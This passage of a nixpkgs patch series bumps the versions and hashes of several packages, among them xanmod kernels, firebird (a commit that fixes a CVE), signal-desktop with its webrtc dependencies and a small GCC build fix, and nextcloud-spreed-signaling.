-      hash = "sha256-REi1cQBAYsfBLCkyhLQfbsREPMzvJHFbCUg1p8oNamA=";
+      version = "6.12.42";
+      hash = "sha256-q/a6ik5kKRKOcbmGxGBdCDW3dsgIDf/7tvEpcGjDrHI=";
     };
     # ./update-xanmod.sh main
     main = {

From 4d53240ddfc94683f327ed90efa8eb16c104ed09 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 16 Aug 2025 12:27:05 +0200
Subject: [PATCH 3643/4511] linux_xanmod_latest: 6.15.9 -> 6.15.10

(cherry picked from commit 951b2f95502d876100e888e5fd87315327da1793)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 8ffcdb1f6bb1..f81265b76aac 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -20,8 +20,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.15.9";
-      hash = "sha256-43SaSDdOfz+aG2T2C9UFbbXYi/7YxbQfTYrKjeEMP+E=";
+      version = "6.15.10";
+      hash = "sha256-6ed820JXJr7QqOX3IiF50SFrYeVrx0xCh73zrlmMy5I=";
     };
   };
 

From 2ec2773fad7ffb9f54726802ab780ed1ecc6133a Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 13 Aug 2025 14:05:40 +0300
Subject: [PATCH 3644/4511] alt-tab-macos: 7.26.0 -> 7.27.0

Changelog: https://github.com/lwouis/alt-tab-macos/releases/tag/v7.27.0
Diff: https://github.com/lwouis/alt-tab-macos/compare/v7.26.0...v7.27.0
(cherry picked from commit 40fbc30f1779dd1299b5851902e5e5e81da298f7)
---
 pkgs/by-name/al/alt-tab-macos/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/al/alt-tab-macos/package.nix b/pkgs/by-name/al/alt-tab-macos/package.nix
index 276820dd29dc..a6fd3439e797 100644
--- a/pkgs/by-name/al/alt-tab-macos/package.nix
+++ b/pkgs/by-name/al/alt-tab-macos/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "alt-tab-macos";
-  version = "7.26.0";
+  version = "7.27.0";
 
   src = fetchurl {
     url = "https://github.com/lwouis/alt-tab-macos/releases/download/v${finalAttrs.version}/AltTab-${finalAttrs.version}.zip";
-    hash = "sha256-tDy+GFZw9hD2kelPOJioRvcmbPZ9bQu+IRDBEOamsJs=";
+    hash = "sha256-jjtgpfKzLj2cAUvpjlC9STmp8EN3y+rdQVKJvTHzoXM=";
   };
 
   sourceRoot = ".";

From 8d2864e9d7faf9b458c0294b41dea161a72b8076 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Mon, 18 Aug 2025 13:53:11 +0200
Subject: [PATCH 3645/4511] firebird_4: 4.0.5 -> 4.0.6

Fixes CVE-2025-24975.
https://github.com/FirebirdSQL/firebird/security/advisories/GHSA-fx9r-rj68-7p69

https://github.com/FirebirdSQL/firebird/blob/v4.0.6/CHANGELOG.md
(cherry picked from commit 9dfd93392e3d72a9de5a0fa3d75090110ecd8df7)
---
 pkgs/servers/firebird/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/firebird/default.nix b/pkgs/servers/firebird/default.nix
index 557231de14f3..8bf644719896 100644
--- a/pkgs/servers/firebird/default.nix
+++ b/pkgs/servers/firebird/default.nix
@@ -82,13 +82,13 @@ rec {
   firebird_4 = stdenv.mkDerivation (
     base
     // rec {
-      version = "4.0.5";
+      version = "4.0.6";
 
       src = fetchFromGitHub {
         owner = "FirebirdSQL";
         repo = "firebird";
         rev = "v${version}";
-        hash = "sha256-OxkPpmnYTl65ns+hKHJd5IAPUiMj0g3HUpyRpwDNut8=";
+        hash = "sha256-65wfG6huDzvG/tEVllA58OfZqoL4U/ilw5YIDqQywTs=";
       };
 
       nativeBuildInputs = base.nativeBuildInputs ++ [ unzip ];

From f47bd8c63e9f743f1a6f2572f963a5cd5506c9ee Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Thu, 14 Aug 2025 22:06:30 +0200
Subject: [PATCH 3646/4511] signal-desktop: 7.64.0 -> 7.66.0

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 7034ff73ed254862c5b7cb509ca2fa8602013284)
---
 pkgs/by-name/si/signal-desktop/package.nix    |  10 +-
 pkgs/by-name/si/signal-desktop/ringrtc.nix    |   6 +-
 .../si/signal-desktop/signal-sqlcipher.nix    |   4 +-
 .../signal-desktop/webrtc-fix-gcc-build.patch |  39 ++++++
 .../si/signal-desktop/webrtc-sources.json     | 130 ++++++++++--------
 pkgs/by-name/si/signal-desktop/webrtc.nix     |   7 +-
 6 files changed, 124 insertions(+), 72 deletions(-)
 create mode 100644 pkgs/by-name/si/signal-desktop/webrtc-fix-gcc-build.patch

diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 32c1ee7cc3a6..e3c916297f20 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.64.0";
+  version = "7.66.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-jBSL9g7+lgyG4luKP84MaWfS+dniBzp3lRimgKtWrI8=";
+    hash = "sha256-8IhY7m9beyfbs8Pnm8PeSW7vL+aBIgcN8HVmstgKFe8=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -120,15 +120,15 @@ stdenv.mkDerivation (finalAttrs: {
     fetcherVersion = 1;
     hash =
       if withAppleEmojis then
-        "sha256-xAmIfTv270g6FoNPCauPBT2H3XTgK6MOjIIwRk0U9PY="
+        "sha256-XO+lbCndOupUncod2b6w7BdesGX84GgQQ3SYlX1yp0Q="
       else
-        "sha256-Wmqu+tkoT13PEQ6QA2KczLtgbxgCWwZ6pNuE1klWLCk=";
+        "sha256-+pq4jGJzy0bg9rkN6jKyuiGiad2BP28mIy+/SgbyNWc=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1753917014;
+    SOURCE_DATE_EPOCH = 1755119611;
   };
 
   preBuild = ''
diff --git a/pkgs/by-name/si/signal-desktop/ringrtc.nix b/pkgs/by-name/si/signal-desktop/ringrtc.nix
index 2010e9bccaef..0a0a1a834317 100644
--- a/pkgs/by-name/si/signal-desktop/ringrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/ringrtc.nix
@@ -20,16 +20,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ringrtc";
-  version = "2.54.1";
+  version = "2.56.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "ringrtc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-T8oI04DOnTHFs7xlJ1wJbK64zqgJ2dM4Plz+C26DWEg=";
+    hash = "sha256-KEwN6x24hXmK9lqU2M9/5qbBk7zDxeTRbB0vJ1K9d3U=";
   };
 
-  cargoHash = "sha256-KTPZ/1rDqxYxgUfgVTnNg7nLNxwCWGXDf+uJAhmpB3g=";
+  cargoHash = "sha256-ghuF1wxAf5psZoWNYOCAubGo0KDwJlqcBXgUbPMD9ac=";
 
   cargoBuildFlags = [
     "-p"
diff --git a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
index 5c4e316c4300..99a8b79b90a1 100644
--- a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
+++ b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "node-sqlcipher";
-  version = "2.1.0";
+  version = "2.2.2";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "node-sqlcipher";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-JYdc3H8PhDLkJH5ApfReq0e7HgKoJaK01JGuzoqftyc=";
+    hash = "sha256-vrY2cu8yfwMX7O6h2GgLhdvQvYOgl916E2z1Pf77ZI0=";
   };
 
   pnpmDeps = pnpm.fetchDeps {
diff --git a/pkgs/by-name/si/signal-desktop/webrtc-fix-gcc-build.patch b/pkgs/by-name/si/signal-desktop/webrtc-fix-gcc-build.patch
new file mode 100644
index 000000000000..701edc9c5d22
--- /dev/null
+++ b/pkgs/by-name/si/signal-desktop/webrtc-fix-gcc-build.patch
@@ -0,0 +1,39 @@
+diff --git a/p2p/base/port_interface.h b/p2p/base/port_interface.h
+index f774b3d..c7242d9 100644
+--- a/p2p/base/port_interface.h
++++ b/p2p/base/port_interface.h
+@@ -55,7 +55,7 @@ class PortInterface {
+   virtual ~PortInterface();
+ 
+   virtual IceCandidateType Type() const = 0;
+-  virtual const Network* Network() const = 0;
++  virtual const ::webrtc::Network* Network() const = 0;
+ 
+   // Methods to set/get ICE role and tiebreaker values.
+   virtual void SetIceRole(IceRole role) = 0;
+diff --git a/pc/codec_vendor.h b/pc/codec_vendor.h
+index 1472225..251afbd 100644
+--- a/pc/codec_vendor.h
++++ b/pc/codec_vendor.h
+@@ -119,7 +119,7 @@ class CodecVendor {
+ class CodecLookupHelper {
+  public:
+   virtual ~CodecLookupHelper() = default;
+-  virtual PayloadTypeSuggester* PayloadTypeSuggester() = 0;
++  virtual ::webrtc::PayloadTypeSuggester* PayloadTypeSuggester() = 0;
+   // Look up the codec vendor to use, depending on context.
+   // This call may get additional arguments in the future, to aid
+   // in selection of the correct context.
+diff --git a/pc/jsep_transport.h b/pc/jsep_transport.h
+index ab914f3..3ff6f6f 100644
+--- a/pc/jsep_transport.h
++++ b/pc/jsep_transport.h
+@@ -214,7 +214,7 @@ class JsepTransport {
+     return rtp_dtls_transport_;
+   }
+ 
+-  scoped_refptr<SctpTransport> SctpTransport() const { return sctp_transport_; }
++  scoped_refptr<::webrtc::SctpTransport> SctpTransport() const { return sctp_transport_; }
+ 
+   // TODO(bugs.webrtc.org/9719): Delete method, update callers to use
+   // SctpTransport() instead.
diff --git a/pkgs/by-name/si/signal-desktop/webrtc-sources.json b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
index 56eaf7261468..05a4da47fa00 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc-sources.json
+++ b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
@@ -1,82 +1,82 @@
 {
     "src": {
         "args": {
-            "hash": "sha256-ErUR9Xg69X5PEPoDw65BU2Tcpo7+JC2Pc+pYIxEGzNA=",
+            "hash": "sha256-3hgBFFu2m+s9qzqNgbJSAmHH4ouHaQCL9nz2sFMy7hc=",
             "owner": "signalapp",
             "repo": "webrtc",
-            "tag": "7103e"
+            "tag": "7204a"
         },
         "fetcher": "fetchFromGitHub"
     },
     "src/base": {
         "args": {
-            "hash": "sha256-Jm+OJlnJJUrTtsAMWEB+DM7eLZyIMJa5jQysVsyHwfk=",
-            "rev": "1d80e43078965dbe6ded5521fbffb128f59124a6",
+            "hash": "sha256-wKFvb28LeB7/YVGmWKhcvXCEeNB6HaxMgZJLpC5a1Zk=",
+            "rev": "4ba67f727a84a10e32a417dc7e194f4fc6a23390",
             "url": "https://chromium.googlesource.com/chromium/src/base"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/build": {
         "args": {
-            "hash": "sha256-4iM0mh+1AL1maBjle+GOmfr4AMadQpcNDQg0X5tVD5U=",
-            "rev": "52d62707eaec02b88722a99e335315d166ceda77",
+            "hash": "sha256-Bfd3paXVGon4p85V2UO6vEHG/t1g8EAxvYQ+DdPcuI8=",
+            "rev": "7adbc7e3263f3ab427ba7c5ac7839a69082ff7fb",
             "url": "https://chromium.googlesource.com/chromium/src/build"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/buildtools": {
         "args": {
-            "hash": "sha256-Nbaoin+aMtJJaC4mDTYFB7q3RbmzSuEUDDZN3tAXoSI=",
-            "rev": "6f359296daa889aa726f3d05046b9f37be241169",
+            "hash": "sha256-adtGyo+wm8+keR0um1fOdChABdBYboGBawD0LfcY00w=",
+            "rev": "1fc7350e65e9d7848c083b83aaf67611e74a5654",
             "url": "https://chromium.googlesource.com/chromium/src/buildtools"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/ringrtc/opus/src": {
         "args": {
-            "hash": "sha256-Vztq+Z388Welj2cfChumimfEXtVn4zCcrGBedZFoTmM=",
+            "hash": "sha256-63JClPZ+Me6thFp6iPf++jV2K1hF0KR1n6Bly+ocNq8=",
             "owner": "xiph",
             "repo": "opus",
-            "rev": "0e30966b198ad28943799eaf5b3b08100b6f70c3"
+            "rev": "55513e81d8f606bd75d0ff773d2144e5f2a732f5"
         },
         "fetcher": "fetchFromGitHub"
     },
     "src/testing": {
         "args": {
-            "hash": "sha256-CZOMatu2JSB3fztVz8DvW87KtglBqq0hUYm3IM3pZwY=",
-            "rev": "f46b86c7f1fc7a7f52e61c11dbd0573a48cf7a6a",
+            "hash": "sha256-CQg6fxDz0dk4fD+X53stTwJJ25feYoU9KdsgjTAzbp8=",
+            "rev": "44b0a8d794b28dbd74614e5f5e7da2b407030647",
             "url": "https://chromium.googlesource.com/chromium/src/testing"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party": {
         "args": {
-            "hash": "sha256-BbFD3QSoHMHsy4d+Quz01Nta7nArhe8or9zsARmlc/U=",
-            "rev": "10064104c1f11074312018c3a9c4b66f25584bdd",
+            "hash": "sha256-KfIQS+FrzFDAS0B3yfzPj4PqD16H0dBE6z1JgFag/20=",
+            "rev": "8a150db896356cd9b47f8c1a6d916347393f90f2",
             "url": "https://chromium.googlesource.com/chromium/src/third_party"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/boringssl/src": {
         "args": {
-            "hash": "sha256-fUPl9E2b7RfanH0pZNArIkJ4lnnmCtyk7sCaTArCB70=",
-            "rev": "a9993612faac4866bc33ca8ff37bfd0659af1c48",
+            "hash": "sha256-+Gs+efB1ZizjMYRSRTQrMDPZsDC+dgNJ9+yHXkzm/ZM=",
+            "rev": "9295969e1dad2c31d0d99481734c1c68dcbc6403",
             "url": "https://boringssl.googlesource.com/boringssl.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/breakpad/breakpad": {
         "args": {
-            "hash": "sha256-9MePkv10fwyJ0VDWRtvRcbLMAcJzZlziGTPzXJYjVJE=",
-            "rev": "657a441e5c1a818d4c10b7bafd431454e6614901",
+            "hash": "sha256-+Z7KphmQYCeN0aJkqyMrJ4tIi3BhqN16KoPNLb/bMGo=",
+            "rev": "2625edb085169e92cf036c236ac79ab594a7b1cc",
             "url": "https://chromium.googlesource.com/breakpad/breakpad.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/catapult": {
         "args": {
-            "hash": "sha256-xwR9gGE8uU8qFr7GgS3/1JiuTmj1tvcM5CoCfPMdW2M=",
-            "rev": "5bda0fdab9d93ec9963e2cd858c7b49ad7fec7d4",
+            "hash": "sha256-xHe9WoAq1FElMSnu5mlEzrH+EzKiwWXeXMCH69KL5a0=",
+            "rev": "5477c6dfde1132b685c73edc16e1bc71449a691d",
             "url": "https://chromium.googlesource.com/catapult.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -105,6 +105,14 @@
         },
         "fetcher": "fetchFromGitiles"
     },
+    "src/third_party/compiler-rt/src": {
+        "args": {
+            "hash": "sha256-FVdcKGwRuno3AzS6FUvI8OTj3mBMRfFR2A8GzYcwIU4=",
+            "rev": "57196dd146582915c955f6d388e31aea93220c51",
+            "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git"
+        },
+        "fetcher": "fetchFromGitiles"
+    },
     "src/third_party/crc32c/src": {
         "args": {
             "hash": "sha256-KBraGaO5LmmPP+p8RuDogGldbTWdNDK+WzF4Q09keuE=",
@@ -123,16 +131,16 @@
     },
     "src/third_party/depot_tools": {
         "args": {
-            "hash": "sha256-O9vVbrCqHD4w39Q8ZAxl1RwzJxbH/thjqacMtCnOPdg=",
-            "rev": "f40ddcd8d51626fb7be3ab3c418b3f3be801623f",
+            "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A=",
+            "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
             "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/ffmpeg": {
         "args": {
-            "hash": "sha256-bGa0BCvzNxEKu9VZEwJ1NLt+b2KKWUxshpKSN2FHNEM=",
-            "rev": "fbce2a76c00cd2e5aeffe3c2e71d44c284ec52d6",
+            "hash": "sha256-noc3iZ1yCEgkwWyznx48rXC8JuKxla9QgC/CIjRL/y8=",
+            "rev": "dcdd0fa51b65a0b1688ff6b8f0cc81908f09ded2",
             "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -147,24 +155,24 @@
     },
     "src/third_party/fontconfig/src": {
         "args": {
-            "hash": "sha256-W5WIgC6A52kY4fNkbsDEa0o+dfd97Rl5NKfgnIRpI00=",
-            "rev": "14d466b30a8ab4a9d789977ed94f2c30e7209267",
+            "hash": "sha256-Kz7KY+evfOciKFHIBLG1JxIRgHRTzuBLgxXHv3m/Y1Y=",
+            "rev": "8cf0ce700a8abe0d97ace4bf7efc7f9534b729ba",
             "url": "https://chromium.googlesource.com/external/fontconfig.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/freetype/src": {
         "args": {
-            "hash": "sha256-LhSIX7X0+dmLADYGNclg73kIrXmjTMM++tJ92MKzanA=",
-            "rev": "82090e67c24259c343c83fd9cefe6ff0be7a7eca",
+            "hash": "sha256-Mt6uJGGHiGYNNLx2xrooYirynL9DW0s05G1GJiqzhi8=",
+            "rev": "e07e56c7f106b600262ab653d696b7b57f320127",
             "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/fuzztest/src": {
         "args": {
-            "hash": "sha256-1pzRK+iorGhnLWWpuWdRjBCh0whKoDgEUhTTs2NlPZU=",
-            "rev": "3c7bc855a4938c5d0d1d07303aa0697c88d33e6c",
+            "hash": "sha256-MHli8sadgC3OMesBGhkjPM/yW49KFOtdFuBII1bcFas=",
+            "rev": "f03aafb7516050ea73f617bf969f03eac641aefc",
             "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -179,16 +187,16 @@
     },
     "src/third_party/googletest/src": {
         "args": {
-            "hash": "sha256-8keF4E6ag/rikv5ROaWUB7oganjViupEAdxW1NJVgmE=",
-            "rev": "52204f78f94d7512df1f0f3bea1d47437a2c3a58",
+            "hash": "sha256-md/jPkFrs/0p0BYGyquh57Zxh+1dKaK26PDtUN1+Ce0=",
+            "rev": "09ffd0015395354774c059a17d9f5bee36177ff9",
             "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/grpc/src": {
         "args": {
-            "hash": "sha256-0ljptpIh4wirWZ+utJyiy4g4dhPRB8pIvjcvoqeycu0=",
-            "rev": "d8ce421830bd993885038934abdc74e1e56e3213",
+            "hash": "sha256-z96goSSgBUvTjNse/LO88zNIzg+SWEYgVDaoA/elkLU=",
+            "rev": "cadf3c8329377e93b1f5e2d6a43d91f7a4becc28",
             "url": "https://chromium.googlesource.com/external/github.com/grpc/grpc.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -203,16 +211,16 @@
     },
     "src/third_party/harfbuzz-ng/src": {
         "args": {
-            "hash": "sha256-/WNGrvyvJ+FGqoIoHapaux1iu63zjID0yR30HYPpxaw=",
-            "rev": "8efd2d85c78fbba6ca09a3e454f77525f3b296ce",
+            "hash": "sha256-lNnCtgIegUy4DLhYaGZXcEaFw83KWAHoKpz69AEsWp4=",
+            "rev": "9f83bbbe64654b45ba5bb06927ff36c2e7588495",
             "url": "https://chromium.googlesource.com/external/github.com/harfbuzz/harfbuzz.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/icu": {
         "args": {
-            "hash": "sha256-Omv4sp9z44eINXtaE0+1TzIU1q2hWviANA79fmkF78U=",
-            "rev": "c9fb4b3a6fb54aa8c20a03bbcaa0a4a985ffd34b",
+            "hash": "sha256-/T7uyzwTCDaamLwSvutvbn6BJuoG1RqeR+xhXI5jmJw=",
+            "rev": "b929596baebf0ab4ac7ec07f38365db4c50a559d",
             "url": "https://chromium.googlesource.com/chromium/deps/icu.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -243,24 +251,24 @@
     },
     "src/third_party/libaom/source/libaom": {
         "args": {
-            "hash": "sha256-nfnt5JXyKR9JR3BflpGEkwzDo0lYa/oeCDm2bKH/j1g=",
-            "rev": "9680f2b1781fb33b9eeb52409b75c679c8a954be",
+            "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc=",
+            "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
             "url": "https://aomedia.googlesource.com/aom.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libc++/src": {
         "args": {
-            "hash": "sha256-Ypi5fmWdoNA1IZDoKITlkNRITmho8HzVlgjlmtx0Y84=",
-            "rev": "449310fe2e37834a7e62972d2a690cade2ef596b",
+            "hash": "sha256-36ulJk/YTfP5k1sDeA/WQyIO8xaplRKK4cQhfTZdpko=",
+            "rev": "a01c02c9d4acbdae3b7e8a2f3ee58579a9c29f96",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libc++abi/src": {
         "args": {
-            "hash": "sha256-wMMfj3E2AQJxovoSEIuT2uTyrcGBurS1HrHZOmP36+g=",
-            "rev": "94c5d7a8edc09f0680aee57548c0b5d400c2840d",
+            "hash": "sha256-DkCvfFjMztFTzKf081XyiefW6tMBSZ1AdzcPzXAVPnk=",
+            "rev": "9810fb23f6ba666f017c2b67c67de2bcac2b44bd",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -283,32 +291,32 @@
     },
     "src/third_party/libunwind/src": {
         "args": {
-            "hash": "sha256-LdRaxPo2i7uMeFxpR7R4o3V+1ycBcygT/D+gklsD0tA=",
-            "rev": "e2e6f2a67e9420e770b014ce9bba476fa2ab9874",
+            "hash": "sha256-O1S3ijnoVrTHmZDGmgQQe0MVGsSZL7usXAPflGFmMXY=",
+            "rev": "8575f4ae4fcf8892938bd9766cf1a5c90a0ed04e",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libvpx/source/libvpx": {
         "args": {
-            "hash": "sha256-+4I6B1aTa+txhey6LMeflU0pe39V6TJ+lNIJPh6yFGM=",
-            "rev": "027bbee30a0103b99d86327b48d29567fed11688",
+            "hash": "sha256-SFdYF8vnwNHQbZ1N/ZHr4kxfi9o+BAtuqbak80m9uP4=",
+            "rev": "b84ca9b63730e7d4563573a56a66317eb0087ebf",
             "url": "https://chromium.googlesource.com/webm/libvpx.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/libyuv": {
         "args": {
-            "hash": "sha256-8sH11psWPXLMy3Q0tAizCZ/woUWvTCCUf44jcr2C4Xs=",
-            "rev": "ccdf870348764e4b77fa3b56accb2a896a901bad",
+            "hash": "sha256-J9Wi3aCc6OjtQCP8JnrY7PYrY587dKLaa1KGAMWmE0c=",
+            "rev": "61bdaee13a701d2b52c6dc943ccc5c888077a591",
             "url": "https://chromium.googlesource.com/libyuv/libyuv.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/llvm-libc/src": {
         "args": {
-            "hash": "sha256-sV1wqk8BC7cl7HPgAd+kmxOWpBuWT6kTX91IXIoSYts=",
-            "rev": "188329a7f2118a957efbb3e6219c255e7dba997c",
+            "hash": "sha256-BsoHIvdqgYzBUkd23++enEHIhq5GeVWrWdVdhXrHh9A=",
+            "rev": "9c3ae3120fe83b998d0498dcc9ad3a56c29fad0c",
             "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -323,8 +331,8 @@
     },
     "src/third_party/nasm": {
         "args": {
-            "hash": "sha256-yg4qwhS68B/sWfcJeXUqPC69ppE8FaIyRc+IkUQXSnU=",
-            "rev": "767a169c8811b090df222a458b25dfa137fc637e",
+            "hash": "sha256-neYrS4kQ76ihUh22Q3uPR67Ld8+yerA922YSZU1KxJs=",
+            "rev": "9f916e90e6fc34ec302573f6ce147e43e33d68ca",
             "url": "https://chromium.googlesource.com/chromium/deps/nasm.git"
         },
         "fetcher": "fetchFromGitiles"
@@ -339,16 +347,16 @@
     },
     "src/third_party/perfetto": {
         "args": {
-            "hash": "sha256-peD4Vnar1Uf8S/JYPpHH8dJZCDIpzpE4EYDfTqVyG8U=",
-            "rev": "40b529923598b739b2892a536a7692eedbed5685",
-            "url": "https://android.googlesource.com/platform/external/perfetto.git"
+            "hash": "sha256-kzVsti2tygOMgT61TmCz26AByMd3gIXA6xz8RE0iCz4=",
+            "rev": "dd35b295cd359ba094404218414955f961a0d6ae",
+            "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git"
         },
         "fetcher": "fetchFromGitiles"
     },
     "src/third_party/protobuf-javascript/src": {
         "args": {
-            "hash": "sha256-zq86SrDASl6aYPFPijRZp03hJqXUFz2Al/KkiNq7i0M=",
-            "rev": "eb785a9363664a402b6336dfe96aad27fb33ffa8",
+            "hash": "sha256-c/aC+LZQtedL5oouUXw2eTF6xD7LN3J3C0q3D0wl+W0=",
+            "rev": "28bf5df73ef2f345a936d9cc95d64ba8ed426a53",
             "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript"
         },
         "fetcher": "fetchFromGitiles"
@@ -363,8 +371,8 @@
     },
     "src/tools": {
         "args": {
-            "hash": "sha256-Vmhd5kfPaOyPJaDSg67V64FSgi4maEVjXE4PMnxnIFw=",
-            "rev": "3460fbcdee33353d37800dad5caa6bba327ad8c8",
+            "hash": "sha256-j95oiK5+hhKC+NNQ27EVZugZI/n2QZJNRyz2QE4pVXc=",
+            "rev": "901b847deda65d44f1bba16a9f47e2ea68a805be",
             "url": "https://chromium.googlesource.com/chromium/src/tools"
         },
         "fetcher": "fetchFromGitiles"
diff --git a/pkgs/by-name/si/signal-desktop/webrtc.nix b/pkgs/by-name/si/signal-desktop/webrtc.nix
index 26c387438f6b..51cdca0cfde5 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/webrtc.nix
@@ -38,6 +38,10 @@ stdenv.mkDerivation (finalAttrs: {
     pulseaudio
   ];
 
+  patches = [
+    ./webrtc-fix-gcc-build.patch
+  ];
+
   postPatch = ''
     substituteInPlace build/toolchain/linux/BUILD.gn \
       --replace-fail 'toolprefix = "aarch64-linux-gnu-"' 'toolprefix = ""'
@@ -59,8 +63,9 @@ stdenv.mkDerivation (finalAttrs: {
     "use_sysroot=false"
     "is_clang=false"
     "treat_warnings_as_errors=false"
+    "use_llvm_libatomic=false"
 
-    # https://github.com/signalapp/ringrtc/blob/main/bin/build-electron
+    # https://github.com/signalapp/ringrtc/blob/main/bin/build-desktop
     "rtc_build_examples=false"
     "rtc_build_tools=false"
     "rtc_use_x11=false"

From 13e4e7c9e38065ce0321391847db216c3cf4aefb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 18 Aug 2025 19:09:48 +0000
Subject: [PATCH 3647/4511] nextcloud-spreed-signaling: 2.0.3 -> 2.0.4

(cherry picked from commit a8e563e74b29b92ba061153b580d341161564bd9)
---
 pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix b/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix
index 4f47573bf675..4c0922d67bf3 100644
--- a/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix
+++ b/pkgs/by-name/ne/nextcloud-spreed-signaling/package.nix
@@ -7,16 +7,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "nextcloud-spreed-signaling";
-  version = "2.0.3";
+  version = "2.0.4";
 
   src = fetchFromGitHub {
     owner = "strukturag";
     repo = "nextcloud-spreed-signaling";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-JBYhmIXDpovkXM8oYO3B9n2bs+H0GjmuT4Dl3gEQjPo=";
+    hash = "sha256-im6P76g1OMHoHZAHGFBA+urcdmokWKxmuhPJac2Lz/Y=";
   };
 
-  vendorHash = "sha256-MGz0tj6QwDXYDtamgN6d5yfIFHToE+XF3HYVsFRxHhM=";
+  vendorHash = "sha256-zfX4rh1moMVxzeMxsLVlefgUxwzH0MMLxMFbA3qv6hU=";
 
